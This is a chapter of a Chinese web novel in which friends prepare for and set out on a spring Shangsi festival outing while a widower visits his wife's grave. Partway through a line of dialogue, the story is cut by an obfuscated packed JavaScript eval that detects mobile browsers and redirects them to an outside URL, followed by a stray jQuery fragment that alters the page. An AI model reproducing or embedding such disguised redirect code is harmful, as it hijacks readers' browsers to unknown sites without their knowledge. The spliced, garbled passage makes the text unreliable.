34.昔人可追忆

作品:《春拂面,有朋至

    将文茵送回宫里后,周衍又独自去了小院。


    此刻已是酉时,天光还亮。


    周衍推门而入,一阵香气扑面而来。


    厨房传来混杂的声音,铁勺沾了油滑过锅底的清脆声,食物在汤里吱吱冒泡的咕嘟声,快刀切下脆藕的噌噌声,以及属于同一个人的说话声。


    “排骨要煎一煎才能倒水,而且要倒热水。”


    “藕片切的太厚了,吃起来口感会不好。”


    “这个荠菜需要用水.....”


    周衍站在厨房门口,看到芫华掐腰在指手画脚,想必这女声是她了。湘君一手拿刀,一手拿起一片切好的藕,细细端详,端方正持着铁勺,在锅前“挥斥方遒”。


    还没等周衍开口,沈枫骞最先看到了他,“仲复兄,你回来了。”


    沈枫骞胳膊上带了护袖,胸前捧了一大摞兰草,地上还散落着一堆蒿子。


    周衍看到此景,才想起来明天是上巳节,怪不得众人都如此忙碌。


    沈枫骞将兰草放到桌上,拍打着沾到身上的残余,“仲复兄可通厨艺?”


    “半点也不通。”


    沈枫骞笑着说道:“那你只能跟我处理这些了,我也不通,去厨房没待下半刻就被赶出来了。”


    “见沈兄也有被嫌弃的时候,我心里倒有些好受了。”周衍想到自己那些被人嘲笑的行为,诸如种植,玩游戏,而今看到也有个如此优秀的人和自己一样被人嫌弃,心里当真是有些小人窃喜。


    沈枫骞未曾料到周衍会有如此孩童之言,竟升起了些小儿争抢打闹的童趣,“仲复兄莫要得意,且看我与仲复兄谁能处理的最多。”


    夜幕已经落下了,可空中那枚弯月,亮的十分决绝。它只许星星倚靠,偶尔有一两片乌云经过,也被那光吓得四散而逃。


    桌上的酒空了,汤尽了,盘里也只剩一层油光。


    “没想到湘君的才学那么高,”端方伸手举过头顶,“可这菜切的...不行。”端方喝酒最快,差不多半坛子都在他肚子里了。


    “你别说湘君姐姐,那沈兄可是连刀都不会使,见着荠菜都能喊成泥胡菜。”芫华说完,众人都看向沈枫骞,搞得他满脸通红,比那几杯酒下肚还见着色。


    “这件事上,我与沈兄是彼此彼此,不过呢,我们不也发挥了点价值,为各位公子小姐准备明日沐浴用的兰草。”周衍倒是脸皮厚,该往自己脸上贴金的可是一分一毫都不能少。


    “明日我告了假,各位可要一起出去游玩?城外的鸣秋山风光秀丽,林中还藏有一处浅溪,清水白沙,很适合踏青。”这地方也是湘君听九歌楼的姐妹所提。


    “甚好,甚好!我要去!”端方喝的酩酊大醉,竟还能听清楚拼命的挥着手臂。


    “我自小跟师傅在山上,从未能感受上巳节的热闹,明日我定要去凑一凑的。”芫华支着头,闭着眼睛,似是在想象明日的那番场景。


    湘君转向周衍和沈枫骞道,“两位兄台不如就从了这两个酒鬼,明日一同前去吧。”


    还能如何?周衍和沈枫骞笑着应下了。


    上巳节的清晨来的特别早。


    先是一两家打开门栓,传出吱吱悠悠的拉门声,而后是十家、百家、千家,声音前后交错重叠,随即就是马车穿街走巷的叮当声,家人催促小女儿应答的娇俏声,此刻整个都城都像被春日的绿意包围,欢乐都在其中蒸腾了。


    “幸亏走的早,不然也得堵在路上了。”危言看着车后面渐渐清晰的行人和马匹,不禁庆幸出门早。


    “无妨,只是这一段路人会多,等过了枫桥人自然就少了。”赵疏清年年上巳节都是如此行径,一切都只是在每年重新上演一次罢了。


    马车经过枫桥后,人果然就都不见了,往前又行驶一段路便看到一处幽深的竹林,车就在此处停住了。


    走过一段窄路,穿过一条铺满鹅卵石的小路,再往上走三十个台阶就到赵疏清妻子的墓地了。


    赵疏清每年会来此祭奠两次,一次是上巳节,一次是亡妻生辰日。


    他的夫人生前最喜欢上巳节,说其春意浓烈,感通天地。


    他不喜欢清明和忌日祭奠。人来世间走一遭,历经苦痛磨难,死去后要铭记的是生命存在的本身,要祭奠的是曾经有过的欢愉,清明和忌日代表哀痛与消逝,他不想如此。


    赵疏清通常会在这里坐上大半天,不向亡者说些什么,只是静静坐在一旁。


    从这里向远处看,是一片又一片竹林,风吹起时,整片竹海像被无形的手轻轻拨动,绿色的波浪一层叠着一层往深处涌,等风停下时,又如碧波入了海,静的没有一丝波纹。


    “这车怎么又不动了。”芫华这句话已经说了七八遍了。


    刚出门个个兴致冲冲,此刻早被堵车磨得没了热情,所幸就随他去吧。


    端方也憋不住了,掀开帘子就要往外走,被周衍一把拉住,“你干嘛去?”


    “这磨磨蹭蹭的,还不如我飞过去。”


    芫华眼睛一亮,揪着端方的衣服,兴奋地说,“你那个轻功能带人吗?背上我吧,我也不想在这耗下去了。”


    “你俩别闹了,半个都城的男男女女出来游玩,还没到地方呢,就得被这空中特技惊呆了。”


    湘君看着他俩胡闹,又好气又好笑。


    沈枫骞前后看了一会儿,对车夫说:“这里离鸣秋山还有多远?”


    “大约还有四五里路吧。”车夫回答。


    沈枫骞想了想,对众人说:“这里离目的地还有四五里路,若按此时情形估计得中午才能到了。就算是到了,那溪水边,山丘上,也都是人头攒动。所到处皆为风景,何苦非得到达所谓的终点,我看这路两边的风景就不错,山不高,路平坦,我们可以下去走一走,遇到好的地方就多停留些,总比把时间浪费在这焦躁之中好。”


    周衍点头称赞,“我觉得沈兄的主意甚好。”


    端方憋得头晕目眩,此刻只想下车,应和道,“好主意!


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351294|181817||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那我们都赶紧下车吧。”


    一行人下车后顿时觉得心情舒畅,焦躁的情绪也都消失了。


    “看半腰山有个凉亭,不如我们先到那里?”芫华指着不远处的凉亭说。


    在车里颠了许久,众人也都想找个高处吹吹风,俯瞰下周边的风景,不由而同的都赞同前往。


    从山底到山腰有条特别明晰的小路,似是常有人来,先前不觉得有多高,可一路上去才知曲折蜿蜒,忽窄忽陡,可费了一番功夫才到了凉亭。


    端方第一个爬上来,只觉视野开阔,清风怡人,转身对还在后面气喘吁吁的众人大喊,“此处风景甚好,赶紧上来!”


    一棵孤松拥簇着略有脱色的红色亭柱,灰色的亭顶落满了绿的、黄的松针,梁上悬着一块白色的牌匾,写着“松云亭”,柳体楷书,笔锋瘦硬劲挺,如松枝斜逸,与亭周松影浑然一体。


    再看两侧亭柱,上联“松影漫阶侵瓦凉”,下联“风铃叩牖伴云闲”,行书书写,笔法灵动如流云。


    “端方兄对这题词感兴趣?”端方观察这片刻,众人已都爬了上来,见他深思如此,沈枫骞不免寻问起来。


    “只觉得与景色很是匹配。”端方做事看人一向只凭感觉,直白而真实。


    这凉亭所在的位置并不高,景色也不算美,但胜在四周开阔,无遮无挡,风也能肆无忌惮的从四方涌入。


    “你们看远处有一座白塔!”众人顺着端方手指向的地方果然看到一座白塔。


    “那是望霞阁。”周衍说道。


    湘君听到这几个字后,瞪大眼睛用力观望,试着能看得更清楚些,可这旷野的风却不作美,卷起佳人的裙摆,头发,呼啦啦的全扑在脸上。


    沈枫骞见湘君看得如此认真,便问:“湘君姑娘去过这望霞阁?”


    “听说过,望霞阁乃是历年三甲进士所有考卷及殿试问答抄录的藏馆,向所有学子开放,可观摩学习,亦可题诗赞誉。”


    “嗯,不过这望霞阁能建立还要感谢清晖三贤。”


    周衍的话引起了大家的兴趣,亭内恰好有五个石凳,众人纷纷落座,等着下面的故事。


    周衍岔开双腿,将下衣用力一扬,两手横放于大腿,娓娓道来,“说起这清晖三贤,就得回到十七前了......”


    北方春日的风算不上温柔,甚至有些粗鲁。


    赵疏清已被山风吹的头皮有些发麻,衣袖上也兜了些许泥土。


    他站起身,还没等拍打身上的泥土早已被风吹落了,还好他早将带来的花插在泥土里,又找了石头压住,否则早就被风吹走了。


    走下台阶的时候,他隐隐看到竹林里站着一个熟悉的身影。


    “闻樵,别来无恙。”


    原来是他。


    “文安侯,好久不见。”


    竹林下的身影半暗半明,叶子正好挡住了嘴角,看不清是笑是怒,只听见被踩的咯吱作响的树叶声越来越近,“竟与我如此生分,你还是那般无情。”